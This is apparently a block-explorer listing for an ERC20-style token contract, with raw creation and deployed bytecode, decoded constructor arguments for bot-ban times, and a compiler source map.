c5460ff61010082048116911610801590610cf45750601954600160b01b900460ff16155b8015610d0e57506019546001600160a01b03848116911614155b8015610d235750601954600160c01b900460ff165b15610d6257600c805460ff1916905530600090815260016020526040902054601554811115610d5157506015545b8015610d6057610d6081610efd565b505b6001600160a01b03821660009081526003602052604090205460ff16610db957601354610dae82610da8856001600160a01b031660009081526001602052604090205490565b90610ef1565b1115610db957600080fd5b6001600160a01b038216600090815260066020526040902054600160ff9091161015610de6576000610de9565b60015b8015610e0d5750601954600160b81b900460ff16610e08576000610e0b565b60015b155b15610e26576019805460ff60b81b1916600160b81b1790555b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6857506001600160a01b03831660009081526005602052604090205460ff165b15610e7557506000610eb3565b6019546001600160a01b0390811690851603610e9657600e54600d55610eb3565b6019546001600160a01b0390811690841603610eb357600f54600d555b610ebf84848484610f42565b50505050565b60008184841115610ee95760405162461bcd60e51b81526004016107c79190611388565b505050900390565b6000610a8a828461157a565b6019805460ff60b01b1916600160b01b179055610f1981610f99565b6007544790610f31906001600160a01b0316826110f3565b50506019805460ff60b01b19169055565b80610f5457610f4f61112e565b610f81565b600c805460ff16906000610f678361158d565b91906101000a81548160ff021916908360ff160217905550505b610f8c848484611173565b80610ebf57610ebf611260565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fce57610fce61150d565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b91906115ac565b8160018151811061105e5761105e61150d565b6001600160a01b0392831660209182029290920101526017546110849130911684610a9d565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bd9085906000908690309042906004016115c9565b600060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611129573d6000803e3d6000fd5b505050565b600d5415801561113e5750600e54155b801561114a5750600f54155b1561115157565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061118083856112df565b6001600160a01b03871660009081526001602052604090205491935091506111a8908461137c565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546111d79083610ef1565b6001600160a01b0385166000908152600160205260408082209290925530815220546112039082610ef1565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201825260125481528151602080820190935260629081905291810191909152601954600160b81b900460ff166112b457601954600160a81b900460ff166112c2565b601954600160a01b900460ff165b60ff16600281106112d5576112d561150d565b6020020151600f55565b60008060006064600d54866112f49190611539565b6112fe9190611558565b6001600160a01b0385166000908152600660205260408120549192509061132d90600160ff9091161015610920565b9050600061136f604051806040016040528060008152602001601a548152508360ff16600281106113605761136061150d565b6020020151610da8898661137c565b9792965091945050505050565b6000610a8a828461163a565b600060208083528351808285015260005b818110156113b557858101830151858201604001528201611399565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113eb57600080fd5b50565b6000806040838503121561140157600080fd5b823561140c816113d6565b946020939093013593505050565b60006020828403121561142c57600080fd5b8135610a8a816113d6565b60008060006060848603121561144c57600080fd5b8335611457816113d6565b92506020840135611467816113d6565b929592945050506040919091013590565b60006020828403121561148a57600080fd5b81358015158114610a8a57600080fd5b600080604083850312156114ad57600080fd5b82356114b8816113d6565b915060208301356114c8816113d6565b809150509250929050565b600181811c908216806114e757607f821691505b60208210810361150757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561155357611553611523565b500290565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156106cc576106cc611523565b600060ff821660ff81036115a3576115a3611523565b60010192915050565b6000602082840312156115be57600080fd5b8151610a8a816113d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116195784516001600160a01b0316835293830193918301916001016115f4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106cc576106cc61152356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122070ef6677aafb5087550a42154ac94cf6d1ef77b2e9d39cc2074460221d6f31e264736f6c63430008100033000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000004ee2d6d415b85acef80ffffffff
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c8063715018a611610102578063af465a2711610095578063d64d610711610064578063d64d61071461058d578063dd62ed3e146105ad578063f2fde38b146105f3578063f45128f51461061357600080fd5b8063af465a271461052c578063b09f126614610542578063c9df913a14610557578063d28d88521461057857600080fd5b80638da5cb5b116100d15780638da5cb5b146104b957806395d89b41146104d7578063a457c2d7146104ec578063a9059cbb1461050c57600080fd5b8063715018a61461044657806378109e541461045d5780637d1db4a5146104735780637ed41bcc1461048957600080fd5b806323b872dd1161017a57806349bd5a5e1161014957806349bd5a5e1461039f5780634a74bb02146103bf578063673a6dad146103e057806370a082311461041057600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461034f5780633ac656e81461036f57600080fd5b80631694505e116101b65780631694505e1461026757806318160ddd1461029f57806318c058b1146102b4578063220f6696146102f657600080fd5b806306fdde03146101e85780630787b15d14610213578063095ea7b31461023757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610629565b60405161020a9190611388565b60405180910390f35b34801561021f57600080fd5b50610229600f5481565b60405190815260200161020a565b34801561024357600080fd5b506102576102523660046113ee565b6106bb565b604051901515815260200161020a565b34801561027357600080fd5b50601754610287906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156102ab57600080fd5b50600b54610229565b3480156102c057600080fd5b506102e46102cf36600461141a565b60066020526000908152604090205460ff1681565b60405160ff909116815260200161020a565b34801561030257600080fd5b5060195461025790600160b01b900460ff1681565b34801561032357600080fd5b50610257610332366004611437565b6106d2565b34801561034357600080fd5b50600a5460ff166102e4565b34801561035b57600080fd5b5061025761036a3660046113ee565b61073b565b34801561037b57600080fd5b5061025761038a36600461141a565b60056020526000908152604090205460ff1681565b3480156103ab57600080fd5b50601954610287906001600160a01b031681565b3480156103cb57600080fd5b5060195461025790600160c01b900460ff1681565b3480156103ec57600080fd5b506102576103fb36600461141a565b60046020526000908152604090205460ff1681565b34801561041c57600080fd5b5061022961042b36600461141a565b6001600160a01b031660009081526001602052604090205490565b34801561045257600080fd5b5061045b610771565b005b34801561046957600080fd5b5061022960135481565b34801561047f57600080fd5b5061022960155481565b34801561049557600080fd5b506102576104a436600461141a565b60036020526000908152604090205460ff1681565b3480156104c557600080fd5b506000546001600160a01b0316610287565b3480156104e357600080fd5b506101fd61081a565b3480156104f857600080fd5b506102576105073660046113ee565b610829565b34801561051857600080fd5b506102576105273660046113ee565b610878565b34801561053857600080fd5b50610229600b5481565b34801561054e57600080fd5b506101fd610885565b34801561056357600080fd5b5060195461025790600160b81b900460ff1681565b34801561058457600080fd5b506101fd610913565b34801561059957600080fd5b506102e46105a8366004611478565b610920565b3480156105b957600080fd5b506102296105c836600461149a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105ff57600080fd5b5061045b61060e36600461141a565b610964565b34801561061f57600080fd5b50610229600e5481565b606060088054610638906114d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610664906114d3565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c8338484610a9d565b5060015b92915050565b60006106df848484610b5e565b610731843361072c8560405180606001604052806028815260200161164e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec5565b610a9d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c891859061072c9086610ef1565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610638906114d3565b60006106c8338461072c85604051806060016040528060258152602001611676602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec5565b60006106c8338484610b5e565b60098054610892906114d3565b80601f01602080910402602001604051908101604052809291908181526020018280546108be906114d3565b801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b60088054610892906114d3565b604080518082019091526000808252600160208301529082610943576000610946565b60015b60ff16600281106109595761095961150d565b602002015192915050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107c7565b6001600160a01b038116610a235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a8a8284611539565b9392505050565b6000610a8a8284611558565b6001600160a01b03831615801590610abd57506001600160a01b03821615155b610afd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c7565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c7565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6657506001600160a01b03821660009081526004602052604090205460ff16155b15610cce57601554811115610cce5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107c7565b600c5460ff61010082048116911610801590610cf45750601954600160b01b900460ff16155b8015610d0e57506019546001600160a01b03848116911614155b8015610d235750601954600160c01b900460ff165b15610d6257600c805460ff1916905530600090815260016020526040902054601554811115610d5157506015545b8015610d6057610d6081610efd565b505b6001600160a01b03821660009081526003602052604090205460ff16610db957601354610dae82610da8856001600160a01b031660009081526001602052604090205490565b90610ef1565b1115610db957600080fd5b6001600160a01b038216600090815260066020526040902054600160ff9091161015610de6576000610de9565b60015b8015610e0d5750601954600160b81b900460ff16610e08576000610e0b565b60015b155b15610e26576019805460ff60b81b1916600160b81b1790555b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6857506001600160a01b03831660009081526005602052604090205460ff165b15610e7557506000610eb3565b6019546001600160a01b0390811690851603610e9657600e54600d55610eb3565b6019546001600160a01b0390811690841603610eb357600f54600d555b610ebf84848484610f42565b50505050565b60008184841115610ee95760405162461bcd60e51b81526004016107c79190611388565b505050900390565b6000610a8a828461157a565b6019805460ff60b01b1916600160b01b179055610f1981610f99565b6007544790610f31906001600160a01b0316826110f3565b50506019805460ff60b01b19169055565b80610f5457610f4f61112e565b610f81565b600c805460ff16906000610f678361158d565b91906101000a81548160ff021916908360ff160217905550505b610f8c848484611173565b80610ebf57610ebf611260565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fce57610fce61150d565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b91906115ac565b8160018151811061105e5761105e61150d565b6001600160a01b0392831660209182029290920101526017546110849130911684610a9d565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bd9085906000908690309042906004016115c9565b600060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611129573d6000803e3d6000fd5b505050565b600d5415801561113e5750600e54155b801561114a5750600f54155b1561115157565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061118083856112df565b6001600160a01b03871660009081526001602052604090205491935091506111a8908461137c565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546111d79083610ef1565b6001600160a01b0385166000908152600160205260408082209290925530815220546112039082610ef1565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201825260125481528151602080820190935260629081905291810191909152601954600160b81b900460ff166112b457601954600160a81b900460ff166112c2565b601954600160a01b900460ff165b60ff16600281106112d5576112d561150d565b6020020151600f55565b60008060006064600d54866112f49190611539565b6112fe9190611558565b6001600160a01b0385166000908152600660205260408120549192509061132d90600160ff9091161015610920565b9050600061136f604051806040016040528060008152602001601a548152508360ff16600281106113605761136061150d565b6020020151610da8898661137c565b9792965091945050505050565b6000610a8a828461163a565b600060208083528351808285015260005b818110156113b557858101830151858201604001528201611399565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113eb57600080fd5b50565b6000806040838503121561140157600080fd5b823561140c816113d6565b946020939093013593505050565b60006020828403121561142c57600080fd5b8135610a8a816113d6565b60008060006060848603121561144c57600080fd5b8335611457816113d6565b92506020840135611467816113d6565b929592945050506040919091013590565b60006020828403121561148a57600080fd5b81358015158114610a8a57600080fd5b600080604083850312156114ad57600080fd5b82356114b8816113d6565b915060208301356114c8816113d6565b809150509250929050565b600181811c908216806114e757607f821691505b60208210810361150757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561155357611553611523565b500290565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156106cc576106cc611523565b600060ff821660ff81036115a3576115a3611523565b60010192915050565b6000602082840312156115be57600080fd5b8151610a8a816113d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116195784516001600160a01b0316835293830193918301916001016115f4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106cc576106cc61152356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122070ef6677aafb5087550a42154ac94cf6d1ef77b2e9d39cc2074460221d6f31e264736f6c63430008100033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000004ee2d6d415b85acef80ffffffff
-----Decoded View---------------
Arg [0] : minBotBanTime (uint8): 1
Arg [1] : maxBotBanTime (uint256): 99999999999999999999999999999999
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [1] : 00000000000000000000000000000000000004ee2d6d415b85acef80ffffffff
Deployed Bytecode Sourcemap
11051:9592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14178:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11976:27;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;11976:27:0;567:177:1;15013:161:0;;;;;;;;;;-1:-1:-1;15013:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;15013:161:0;1205:187:1;12398:41:0;;;;;;;;;;-1:-1:-1;12398:41:0;;;;-1:-1:-1;;;;;12398:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;12398:41:0;1397:229:1;14455:95:0;;;;;;;;;;-1:-1:-1;14535:7:0;;14455:95;;11481:50;;;;;;;;;;-1:-1:-1;11481:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2055:4:1;2043:17;;;2025:36;;2013:2;1998:18;11481:50:0;1883:184:1;12583:28:0;;;;;;;;;;-1:-1:-1;12583:28:0;;;;-1:-1:-1;;;12583:28:0;;;;;;15182:313;;;;;;;;;;-1:-1:-1;15182:313:0;;;;;:::i;:::-;;:::i;14364:83::-;;;;;;;;;;-1:-1:-1;14430:9:0;;;;14364:83;;15503:218;;;;;;;;;;-1:-1:-1;15503:218:0;;;;;:::i;:::-;;:::i;11424:49::-;;;;;;;;;;-1:-1:-1;11424:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12477:28;;;;;;;;;;-1:-1:-1;12477:28:0;;;;-1:-1:-1;;;;;12477:28:0;;;12667:40;;;;;;;;;;-1:-1:-1;12667:40:0;;;;-1:-1:-1;;;12667:40:0;;;;;;11366:51;;;;;;;;;;-1:-1:-1;11366:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14558:121;;;;;;;;;;-1:-1:-1;14558:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;14651:20:0;14624:7;14651:20;;;:11;:20;;;;;;;14558:121;10637:148;;;;;;;;;;;;;:::i;:::-;;12148:56;;;;;;;;;;;;;;;;12277:53;;;;;;;;;;;;;;;;11304:55;;;;;;;;;;-1:-1:-1;11304:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10408:87;;;;;;;;;;-1:-1:-1;10454:7:0;10481:6;-1:-1:-1;;;;;10481:6:0;10408:87;;14269;;;;;;;;;;;;;:::i;15729:269::-;;;;;;;;;;-1:-1:-1;15729:269:0;;;;;:::i;:::-;;:::i;14687:167::-;;;;;;;;;;-1:-1:-1;14687:167:0;;;;;:::i;:::-;;:::i;11773:49::-;;;;;;;;;;;;;;;;11691:41;;;;;;;;;;;;;:::i;12618:42::-;;;;;;;;;;-1:-1:-1;12618:42:0;;;;-1:-1:-1;;;12618:42:0;;;;;;11644:40;;;;;;;;;;;;;:::i;20531:107::-;;;;;;;;;;-1:-1:-1;20531:107:0;;;;;:::i;:::-;;:::i;14862:143::-;;;;;;;;;;-1:-1:-1;14862:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14970:18:0;;;14943:7;14970:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14862:143;10793:244;;;;;;;;;;-1:-1:-1;10793:244:0;;;;;:::i;:::-;;:::i;11943:26::-;;;;;;;;;;;;;;;;14178:83;14215:13;14248:5;14241:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14178:83;:::o;15013:161::-;15088:4;15105:39;1950:10;15128:7;15137:6;15105:8;:39::i;:::-;-1:-1:-1;15162:4:0;15013:161;;;;;:::o;15182:313::-;15280:4;15297:36;15307:6;15315:9;15326:6;15297:9;:36::i;:::-;15344:121;15353:6;1950:10;15375:89;15413:6;15375:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15375:19:0;;;;;;:11;:19;;;;;;;;1950:10;15375:33;;;;;;;;;;:37;:89::i;:::-;15344:8;:121::i;:::-;-1:-1:-1;15483:4:0;15182:313;;;;;:::o;15503:218::-;1950:10;15591:4;15640:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15640:34:0;;;;;;;;;;15591:4;;15608:83;;15631:7;;15640:50;;15679:10;15640:38;:50::i;10637:148::-;10454:7;10481:6;-1:-1:-1;;;;;10481:6:0;1950:10;10547:23;10539:68;;;;-1:-1:-1;;;10539:68:0;;3999:2:1;10539:68:0;;;3981:21:1;;;4018:18;;;4011:30;4077:34;4057:18;;;4050:62;4129:18;;10539:68:0;;;;;;;;;10744:1:::1;10728:6:::0;;10707:40:::1;::::0;-1:-1:-1;;;;;10728:6:0;;::::1;::::0;10707:40:::1;::::0;10744:1;;10707:40:::1;10775:1;10758:19:::0;;-1:-1:-1;;;;;;10758:19:0::1;::::0;;10637:148::o;14269:87::-;14308:13;14341:7;14334:14;;;;;:::i;15729:269::-;15822:4;15839:129;1950:10;15862:7;15871:96;15910:15;15871:96;;;;;;;;;;;;;;;;;1950:10;15871:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15871:34:0;;;;;;;;;;;;:38;:96::i;14687:167::-;14765:4;14782:42;1950:10;14806:9;14817:6;14782:9;:42::i;11691:41::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11644:40::-;;;;;;;:::i;20531:107::-;20610:20;;;;;;;;;20586:5;20610:20;;;20613:1;20610:20;;;;20586:5;20616;:13;;20628:1;20616:13;;;20624:1;20616:13;20610:20;;;;;;;;;:::i;:::-;;;;;;20531:107;-1:-1:-1;;20531:107:0:o;10793:244::-;10454:7;10481:6;-1:-1:-1;;;;;10481:6:0;1950:10;10547:23;10539:68;;;;-1:-1:-1;;;10539:68:0;;3999:2:1;10539:68:0;;;3981:21:1;;;4018:18;;;4011:30;4077:34;4057:18;;;4050:62;4129:18;;10539:68:0;3797:356:1;10539:68:0;-1:-1:-1;;;;;10882:22:0;::::1;10874:73;;;::::0;-1:-1:-1;;;10874:73:0;;4492:2:1;10874:73:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;4570:34;4550:18;;;4543:62;-1:-1:-1;;;4621:18:1;;;4614:36;4667:19;;10874:73:0::1;4290:402:1::0;10874:73:0::1;10984:6;::::0;;10963:38:::1;::::0;-1:-1:-1;;;;;10963:38:0;;::::1;::::0;10984:6;::::1;::::0;10963:38:::1;::::0;::::1;11012:6;:17:::0;;-1:-1:-1;;;;;;11012:17:0::1;-1:-1:-1::0;;;;;11012:17:0;;;::::1;::::0;;;::::1;::::0;;10793:244::o;1185:98::-;1243:7;1270:5;1274:1;1270;:5;:::i;:::-;1263:12;1185:98;-1:-1:-1;;;1185:98:0:o;1295:::-;1353:7;1380:5;1384:1;1380;:5;:::i;16566:266::-;-1:-1:-1;;;;;16661:19:0;;;;;;:44;;-1:-1:-1;;;;;;16684:21:0;;;;16661:44;16653:74;;;;-1:-1:-1;;;16653:74:0;;5426:2:1;16653:74:0;;;5408:21:1;5465:2;5445:18;;;5438:30;-1:-1:-1;;;5484:18:1;;;5477:47;5541:18;;16653:74:0;5224:341:1;16653:74:0;-1:-1:-1;;;;;16738:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16790:32;;713:25:1;;;16790:32:0;;686:18:1;16790:32:0;;;;;;;16566:266;;;:::o;16840:1621::-;-1:-1:-1;;;;;16974:18:0;;16966:68;;;;-1:-1:-1;;;16966:68:0;;5772:2:1;16966:68:0;;;5754:21:1;5811:2;5791:18;;;5784:30;5850:34;5830:18;;;5823:62;-1:-1:-1;;;5901:18:1;;;5894:35;5946:19;;16966:68:0;5570:401:1;16966:68:0;-1:-1:-1;;;;;17053:16:0;;17045:64;;;;-1:-1:-1;;;17045:64:0;;6178:2:1;17045:64:0;;;6160:21:1;6217:2;6197:18;;;6190:30;6256:34;6236:18;;;6229:62;-1:-1:-1;;;6307:18:1;;;6300:33;6350:19;;17045:64:0;5976:399:1;17045:64:0;-1:-1:-1;;;;;17126:24:0;;;;;;:18;:24;;;;;;;;17125:25;:62;;;;-1:-1:-1;;;;;;17165:22:0;;;;;;:18;:22;;;;;;;;17164:23;17125:62;17122:197;;;17250:12;;17212:6;:50;;17204:103;;;;-1:-1:-1;;;17204:103:0;;6582:2:1;17204:103:0;;;6564:21:1;6621:2;6601:18;;;6594:30;6660:34;6640:18;;;6633:62;-1:-1:-1;;;6711:18:1;;;6704:38;6759:19;;17204:103:0;6380:404:1;17204:103:0;17359:11;;;;;;;;17348:7;;:22;;;;:57;;-1:-1:-1;17389:16:0;;-1:-1:-1;;;17389:16:0;;;;17388:17;17348:57;:95;;;;-1:-1:-1;17430:13:0;;-1:-1:-1;;;;;17422:21:0;;;17430:13;;17422:21;;17348:95;:133;;;;-1:-1:-1;17460:21:0;;-1:-1:-1;;;17460:21:0;;;;17348:133;17331:497;;;17538:7;:11;;-1:-1:-1;;17538:11:0;;;17613:4;-1:-1:-1;14651:20:0;;;-1:-1:-1;14651:20:0;;;;;;17660:12;;17637:35;;17634:78;;;-1:-1:-1;17698:12:0;;17634:78;17729:24;;17726:91;;17769:36;17784:20;17769:14;:36::i;:::-;17507:321;17331:497;-1:-1:-1;;;;;17842:26:0;;;;;;:22;:26;;;;;;;;17838:85;;17907:15;;17878:25;17896:6;17878:13;17888:2;-1:-1:-1;;;;;14651:20:0;14624:7;14651:20;;;:11;:20;;;;;;;14558:121;17878:13;:17;;:25::i;:::-;:44;;17870:53;;;;;;-1:-1:-1;;;;;17938:20:0;;;;;;:16;:20;;;;;;17962:1;17938:20;;;;:25;;:38;;17971:5;17938:38;;;17966:4;17938:38;17937:84;;;;-1:-1:-1;17983:22:0;;-1:-1:-1;;;17983:22:0;;;;:37;;18015:5;17983:37;;;18008:4;17983:37;17981:40;17937:84;17934:120;;;18023:22;:29;;-1:-1:-1;;;;18023:29:0;-1:-1:-1;;;18023:29:0;;;17934:120;-1:-1:-1;;;;;18100:22:0;;18066:12;18100:22;;;:16;:22;;;;;;18081:4;;18100:22;;;:66;;-1:-1:-1;;;;;;18146:20:0;;;;;;:16;:20;;;;;;;;18100:66;18096:297;;;-1:-1:-1;18203:5:0;18096:297;;;18238:13;;-1:-1:-1;;;;;18238:13:0;;;18230:21;;;;18226:167;;18280:7;;18267:10;:20;18226:167;;;18319:13;;-1:-1:-1;;;;;18319:13:0;;;18313:19;;;;18309:84;;18365:8;;18352:10;:21;18309:84;18413:40;18430:4;18435:2;18438:6;18445:7;18413:16;:40::i;:::-;16943:1518;16840:1621;;;:::o;1401:206::-;1487:7;1548:12;1540:6;;;;1532:29;;;;-1:-1:-1;;;1532:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1583:5:0;;;1401:206::o;973:98::-;1031:7;1058:5;1062:1;1058;:5;:::i;18597:235::-;12991:16;:23;;-1:-1:-1;;;;12991:23:0;-1:-1:-1;;;12991:23:0;;;18682:38:::1;18699:20:::0;18682:16:::1;:38::i;:::-;18798:13;::::0;18753:21:::1;::::0;18785:39:::1;::::0;-1:-1:-1;;;;;18798:13:0::1;18753:21:::0;18785:12:::1;:39::i;:::-;-1:-1:-1::0;;13037:16:0;:24;;-1:-1:-1;;;;13037:24:0;;;18597:235::o;19322:358::-;19445:7;19441:102;;19468:13;:11;:13::i;:::-;19441:102;;;19522:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;19441:102;19563:43;19580:6;19588:9;19599:6;19563:16;:43::i;:::-;19623:7;19619:54;;19646:15;:13;:15::i;18840:474::-;18932:16;;;18946:1;18932:16;;;;;;;;18908:21;;18932:16;;;;;;;;;;-1:-1:-1;18932:16:0;18908:40;;18977:4;18959;18964:1;18959:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18959:23:0;;;:7;;;;;;;;;;:23;;;;19003:15;;:22;;;-1:-1:-1;;;19003:22:0;;;;:15;;;;;:20;;:22;;;;;18959:7;;19003:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18993:4;18998:1;18993:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18993:32:0;;;:7;;;;;;;;;:32;19068:15;;19036:62;;19053:4;;19068:15;19086:11;19036:8;:62::i;:::-;19109:15;;:197;;-1:-1:-1;;;19109:197:0;;-1:-1:-1;;;;;19109:15:0;;;;:66;;:197;;19190:11;;19109:15;;19233:4;;19260;;19280:15;;19109:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18895:419;18840:474;:::o;18469:120::-;18554:23;;-1:-1:-1;;;;;18554:15:0;;;:23;;;;;18570:6;;18554:23;;;;18570:6;18554:15;:23;;;;;;;;;;;;;;;;;;;;;18469:120;;:::o;16043:303::-;16088:10;;:15;:31;;;;-1:-1:-1;16107:7:0;;:12;16088:31;:48;;;;-1:-1:-1;16123:8:0;;:13;16088:48;16085:60;;;16043:303::o;16085:60::-;16171:7;;;16159:9;:19;16207:8;;;16194:10;:21;16246:10;;;16231:12;:25;-1:-1:-1;16271:11:0;;;;16297:12;;;;16324:14;16043:303::o;19688:458::-;19787:17;19806:19;19829:31;19840:8;19850:9;19829:10;:31::i;:::-;-1:-1:-1;;;;;19893:19:0;;;;;;:11;:19;;;;;;19786:74;;-1:-1:-1;19786:74:0;-1:-1:-1;19893:33:0;;19917:8;19893:23;:33::i;:::-;-1:-1:-1;;;;;19871:19:0;;;;;;;:11;:19;;;;;;:55;;;;19963:22;;;;;;;:37;;19990:9;19963:26;:37::i;:::-;-1:-1:-1;;;;;19937:22:0;;;;;;:11;:22;;;;;;:64;;;;20061:4;20041:26;;;;:43;;20072:11;20041:30;:43::i;:::-;20032:4;20012:26;;;;:11;:26;;;;;;;;;:72;;;;20100:38;713:25:1;;;-1:-1:-